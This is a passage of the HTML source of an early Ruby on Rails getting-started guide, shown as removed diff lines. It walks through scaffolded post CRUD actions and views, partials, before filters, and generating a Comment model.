-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">&lt;!</span>DOCTYPE html PUBLIC <span style="color: #FF0000">"-//W3C//DTD XHTML 1.0 Transitional//EN"</span>
- <span style="color: #FF0000">"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"</span><span style="color: #990000">&gt;</span>
-
-<span style="color: #FF0000">&lt;html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"&gt;</span>
-<span style="color: #FF0000">&lt;head&gt;</span>
- <span style="color: #FF0000">&lt;meta http-equiv="content-type" content="text/html;charset=UTF-8" /&gt;</span>
- <span style="color: #FF0000">&lt;title&gt;</span>Posts<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= controller.action_name %&gt;&lt;/title&gt;</span>
- <span style="color: #FF0000">&lt;%= stylesheet_link_tag 'scaffold' %&gt;</span>
-<span style="color: #FF0000">&lt;/head&gt;</span>
-<span style="color: #FF0000">&lt;body style="background: #EEEEEE;"&gt;</span>
-
-<span style="color: #FF0000">&lt;p style="color: green"&gt;&lt;%= flash[:notice] %&gt;&lt;/p&gt;</span>
-
-<span style="color: #FF0000">&lt;%= yield %&gt;</span>
-
-<span style="color: #FF0000">&lt;/body&gt;</span>
-<span style="color: #FF0000">&lt;/html&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>Now when you refresh the <tt>/posts</tt> page, you&#8217;ll see a gray background to the page. This same gray background will be used throughout all the views for posts.</p></div>
-<h3 id="_creating_new_posts">6.9. Creating New Posts</h3>
-<div class="paragraph"><p>Creating a new post involves two actions. The first is the <tt>new</tt> action, which instantiates an empty <tt>Post</tt> object:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>new
-
- respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
- format<span style="color: #990000">.</span>html <span style="font-style: italic"><span style="color: #9A1900"># new.html.erb</span></span>
- format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span> <span style="color: #FF0000">}</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>new.html.erb</tt> view displays this empty Post to the user:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>New post<span style="color: #FF0000">&lt;/h1&gt;</span>
-
-<span style="color: #FF0000">&lt;% form_for(@post) do |f| %&gt;</span>
- <span style="color: #FF0000">&lt;%= f.error_messages %&gt;</span>
-
- <span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;%= f.label :name %&gt;&lt;br /&gt;</span>
- <span style="color: #FF0000">&lt;%= f.text_field :name %&gt;</span>
- <span style="color: #FF0000">&lt;/p&gt;</span>
- <span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;%= f.label :title %&gt;&lt;br /&gt;</span>
- <span style="color: #FF0000">&lt;%= f.text_field :title %&gt;</span>
- <span style="color: #FF0000">&lt;/p&gt;</span>
- <span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;%= f.label :content %&gt;&lt;br /&gt;</span>
- <span style="color: #FF0000">&lt;%= f.text_area :content %&gt;</span>
- <span style="color: #FF0000">&lt;/p&gt;</span>
- <span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;%= f.submit "Create" %&gt;</span>
- <span style="color: #FF0000">&lt;/p&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-
-<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>form_for</tt> block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, <tt>f.text_field :name</tt> tells Rails to create a text input on the form, and to hook it up to the <tt>name</tt> attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case <tt>name</tt>, <tt>title</tt>, and <tt>content</tt>). Rails uses <tt>form_for</tt> in preference to having your write raw HTML because the code is more succinct, and because it explicitly ties the form to a particular model instance.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If you need to create an HTML form that displays arbitrary fields, not tied to a model, you should use the <tt>form_tag</tt> method, which provides shortcuts for building forms that are not necessarily tied to a model instance.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>When the user clicks the <tt>Create</tt> button on this form, the browser will send information back to the <tt>create</tt> method of the controller (Rails knows to call the <tt>create</tt> method because the form is sent with an HTTP POST request; that&#8217;s one of the conventions that I mentioned earlier):</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post<span style="color: #990000">])</span>
-
- respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>save
- flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">'Post was successfully created.'</span>
- format<span style="color: #990000">.</span>html <span style="color: #FF0000">{</span> redirect_to<span style="color: #990000">(</span><span style="color: #009900">@post</span><span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
- format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>created<span style="color: #990000">,</span> <span style="color: #990000">:</span>location <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span> <span style="color: #FF0000">}</span>
- <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
- format<span style="color: #990000">.</span>html <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span> <span style="color: #FF0000">}</span>
- format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>errors<span style="color: #990000">,</span> <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>unprocessable_entity <span style="color: #FF0000">}</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>create</tt> action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the <tt>params</tt> hash. After saving the new post, it uses <tt>flash[:notice]</tt> to create an informational message for the user, and redirects to the show action for the post. If there&#8217;s any problem, the <tt>create</tt> action just shows the <tt>new</tt> view a second time, with any error messages.</p></div>
-<div class="paragraph"><p>Rails provides the <tt>flash</tt> hash (usually just called the Flash) so that messages can be carried over to another action, providing the user with useful information on the status of their request. In the case of <tt>create</tt>, the user never actually sees any page rendered during the Post creation process, because it immediately redirects to the new Post as soon Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the <tt>show</tt> action, they are presented with a message saying "Post was successfully created."</p></div>
-<h3 id="_showing_an_individual_post">6.10. Showing an Individual Post</h3>
-<div class="paragraph"><p>When you click the <tt>show</tt> link for a post on the index page, it will bring you to a URL like <tt>http://localhost:3000/posts/1</tt>. Rails interprets this as a call to the <tt>show</tt> action for the resource, and passes in <tt>1</tt> as the <tt>:id</tt> parameter. Here&#8217;s the <tt>show</tt> action:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-
- respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
- format<span style="color: #990000">.</span>html <span style="font-style: italic"><span style="color: #9A1900"># show.html.erb</span></span>
- format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span> <span style="color: #FF0000">}</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>show</tt> action uses <tt>Post.find</tt> to search for a single record in the database by its id value. After finding the record, Rails displays it by using <tt>show.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;b&gt;</span>Name<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
- <span style="color: #FF0000">&lt;%=h @post.name %&gt;</span>
-<span style="color: #FF0000">&lt;/p&gt;</span>
-
-<span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;b&gt;</span>Title<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
- <span style="color: #FF0000">&lt;%=h @post.title %&gt;</span>
-<span style="color: #FF0000">&lt;/p&gt;</span>
-
-<span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;b&gt;</span>Content<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
- <span style="color: #FF0000">&lt;%=h @post.content %&gt;</span>
-<span style="color: #FF0000">&lt;/p&gt;</span>
-
-
-<span style="color: #FF0000">&lt;%= link_to 'Edit', edit_post_path(@post) %&gt;</span> <span style="color: #990000">|</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span></tt></pre></div></div>
-<h3 id="_editing_posts">6.11. Editing Posts</h3>
-<div class="paragraph"><p>Like creating a new post, editing a post is a two-part process. The first step is a request to <tt>edit_post_path(@post)</tt> with a particular post. This calls the <tt>edit</tt> action in the controller:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>After finding the requested post, Rails uses the <tt>edit.html.erb</tt> view to display it:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>Editing post<span style="color: #FF0000">&lt;/h1&gt;</span>
-
-<span style="color: #FF0000">&lt;% form_for(@post) do |f| %&gt;</span>
- <span style="color: #FF0000">&lt;%= f.error_messages %&gt;</span>
-
- <span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;%= f.label :name %&gt;&lt;br /&gt;</span>
- <span style="color: #FF0000">&lt;%= f.text_field :name %&gt;</span>
- <span style="color: #FF0000">&lt;/p&gt;</span>
- <span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;%= f.label :title %&gt;&lt;br /&gt;</span>
- <span style="color: #FF0000">&lt;%= f.text_field :title %&gt;</span>
- <span style="color: #FF0000">&lt;/p&gt;</span>
- <span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;%= f.label :content %&gt;&lt;br /&gt;</span>
- <span style="color: #FF0000">&lt;%= f.text_area :content %&gt;</span>
- <span style="color: #FF0000">&lt;/p&gt;</span>
- <span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;%= f.submit "Update" %&gt;</span>
- <span style="color: #FF0000">&lt;/p&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-
-<span style="color: #FF0000">&lt;%= link_to 'Show', @post %&gt;</span> <span style="color: #990000">|</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>Submitting the form created by this view will invoke the <tt>update</tt> action within the controller:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> update
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-
- respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>update_attributes<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post<span style="color: #990000">])</span>
- flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">'Post was successfully updated.'</span>
- format<span style="color: #990000">.</span>html <span style="color: #FF0000">{</span> redirect_to<span style="color: #990000">(</span><span style="color: #009900">@post</span><span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
- format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> head <span style="color: #990000">:</span>ok <span style="color: #FF0000">}</span>
- <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
- format<span style="color: #990000">.</span>html <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"edit"</span> <span style="color: #FF0000">}</span>
- format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>errors<span style="color: #990000">,</span> <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>unprocessable_entity <span style="color: #FF0000">}</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>In the <tt>update</tt> action, Rails first uses the <tt>:id</tt> parameter passed back from the edit view to locate the database record that&#8217;s being edited. The <tt>update_attributes</tt> call then takes the rest of the parameters from the request and applies them to this record. If all goes well, the user is redirected to the post&#8217;s <tt>show</tt> view. If there are any problems, it&#8217;s back to <tt>edit</tt> to correct them.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Sharp-eyed readers will have noticed that the <tt>form_for</tt> declaration is identical for the <tt>new</tt> and <tt>edit</tt> views. Rails generates different code for the two forms because it&#8217;s smart enough to notice that in the one case it&#8217;s being passed a new record that has never been saved, and in the other case an existing record that has already been saved to the database. In a production Rails application, you would ordinarily eliminate this duplication by moving identical code to a <em>partial template</em>, which you could then include in both parent templates. But the scaffold generator tries not to make too many assumptions, and generates code that’s easy to modify if you want different forms for <tt>create</tt> and <tt>edit</tt>.</td>
-</tr></table>
-</div>
-<h3 id="_destroying_a_post">6.12. Destroying a Post</h3>
-<div class="paragraph"><p>Finally, clicking one of the <tt>destroy</tt> links sends the associated id to the <tt>destroy</tt> action:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> destroy
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
- <span style="color: #009900">@post</span><span style="color: #990000">.</span>destroy
-
- respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
- format<span style="color: #990000">.</span>html <span style="color: #FF0000">{</span> redirect_to<span style="color: #990000">(</span>posts_url<span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
- format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> head <span style="color: #990000">:</span>ok <span style="color: #FF0000">}</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>destroy</tt> method of an Active Record model instance removes the corresponding record from the database. After that&#8217;s done, there isn&#8217;t any record to display, so Rails redirects the user&#8217;s browser to the index view for the model.</p></div>
-</div>
-<h2 id="_drying_up_the_code">7. DRYing up the Code</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>At this point, it’s worth looking at some of the tools that Rails provides to eliminate duplication in your code. In particular, you can use <em>partials</em> to clean up duplication in views and <em>filters</em> to help with duplication in controllers.</p></div>
-<h3 id="_using_partials_to_eliminate_view_duplication">7.1. Using Partials to Eliminate View Duplication</h3>
-<div class="paragraph"><p>As you saw earlier, the scaffold-generated views for the <tt>new</tt> and <tt>edit</tt> actions are largely identical. You can pull the shared code out into a <tt>partial</tt> template. This requires editing the new and edit views, and adding a new template. The new <tt>_form.html.erb</tt> template should be saved in the same <tt>app/views/posts</tt> folder as the files from which it is being extracted:</p></div>
-<div class="paragraph"><p><tt>new.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>New post<span style="color: #FF0000">&lt;/h1&gt;</span>
-
-<span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #FF0000">"form"</span> <span style="color: #990000">%&gt;</span>
-
-<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p><tt>edit.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>Editing post<span style="color: #FF0000">&lt;/h1&gt;</span>
-
-<span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #FF0000">"form"</span> <span style="color: #990000">%&gt;</span>
-
-<span style="color: #FF0000">&lt;%= link_to 'Show', @post %&gt;</span> <span style="color: #990000">|</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p><tt>_form.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;% form_for(@post) do |f| %&gt;</span>
- <span style="color: #FF0000">&lt;%= f.error_messages %&gt;</span>
-
- <span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;%= f.label :name %&gt;&lt;br /&gt;</span>
- <span style="color: #FF0000">&lt;%= f.text_field :name %&gt;</span>
- <span style="color: #FF0000">&lt;/p&gt;</span>
- <span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;%= f.label :title, "title" %&gt;&lt;br /&gt;</span>
- <span style="color: #FF0000">&lt;%= f.text_field :title %&gt;</span>
- <span style="color: #FF0000">&lt;/p&gt;</span>
- <span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;%= f.label :content %&gt;&lt;br /&gt;</span>
- <span style="color: #FF0000">&lt;%= f.text_area :content %&gt;</span>
- <span style="color: #FF0000">&lt;/p&gt;</span>
- <span style="color: #FF0000">&lt;p&gt;</span>
- <span style="color: #FF0000">&lt;%= f.submit "Save" %&gt;</span>
- <span style="color: #FF0000">&lt;/p&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>Now, when Rails renders the <tt>new</tt> or <tt>edit</tt> view, it will insert the <tt>_form</tt> partial at the indicated point. Note the naming convention for partials: if you refer to a partial named <tt>form</tt> inside of a view, the corresponding file is <tt>_form.html.erb</tt>, with a leading underscore.</p></div>
-<div class="paragraph"><p>For more information on partials, refer to the <a href="../layouts_and_rendering.html">Layouts and Rending in Rails</a> guide.</p></div>
-<h3 id="_using_filters_to_eliminate_controller_duplication">7.2. Using Filters to Eliminate Controller Duplication</h3>
-<div class="paragraph"><p>At this point, if you look at the controller for posts, you’ll see some duplication:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsController <span style="color: #990000">&lt;</span> ApplicationController
- <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
- <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> update
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
- <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> destroy
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
- <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Four instances of the exact same line of code doesn’t seem very DRY. Rails provides <em>filters</em> as a way to address this sort of repeated code. In this case, you can DRY things up by using a <tt>before_filter</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsController <span style="color: #990000">&lt;</span> ApplicationController
- before_filter <span style="color: #990000">:</span>find_post<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>show<span style="color: #990000">,</span> <span style="color: #990000">:</span>edit<span style="color: #990000">,</span> <span style="color: #990000">:</span>update<span style="color: #990000">,</span> <span style="color: #990000">:</span>destroy<span style="color: #990000">]</span>
- <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
- <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> update
- <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> destroy
- <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- private
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> find_post
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Rails runs <em>before filters</em> before any action in the controller. You can use the <tt>:only</tt> clause to limit a before filter to only certain actions, or an <tt>:except</tt> clause to specifically skip a before filter for certain actions. Rails also allows you to define <em>after filters</em> that run after processing an action, as well as <em>around filters</em> that surround the processing of actions. Filters can also be defined in external classes to make it easy to share them between controllers.</p></div>
-<div class="paragraph"><p>For more information on filters, see the <a href="actioncontroller_basics.html">Action Controller Basics</a> guide.</p></div>
-</div>
-<h2 id="_adding_a_second_model">8. Adding a Second Model</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Now that you&#8217;ve seen what&#8217;s in a model built with scaffolding, it&#8217;s time to add a second model to the application. The second model will handle comments on blog posts.</p></div>
-<h3 id="_generating_a_model">8.1. Generating a Model</h3>
-<div class="paragraph"><p>Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name Comment. Even if you don&#8217;t want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/generate model Comment commenter<span style="color: #990000">:</span>string body<span style="color: #990000">:</span>text post<span style="color: #990000">:</span>references</tt></pre></div></div>
-<div class="paragraph"><p>This command will generate four files:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>app/models/comment.rb</tt> - The model
-</p>
-</li>
-<li>
-<p>
-+db/migrate/20081013214407_create_comments.rb - The migration
-</p>
-</li>
-<li>
-<p>
-<tt>test/unit/comment_test.rb</tt> and <tt>test/fixtures/comments.yml</tt> - The test harness.
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>First, take a look at <tt>comment.rb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Comment <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>post
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This is very similar to the <tt>post.rb</tt> model that you saw earlier. The difference is the line <tt>belongs_to :post</tt>, which sets up an Active Record <em>association</em>. You&#8217;ll learn a little about associations in the next section of this guide.</p></div>
-<div class="paragraph"><p>In addition to the model, Rails has also made a migration to create the corresponding database table:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateComments <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
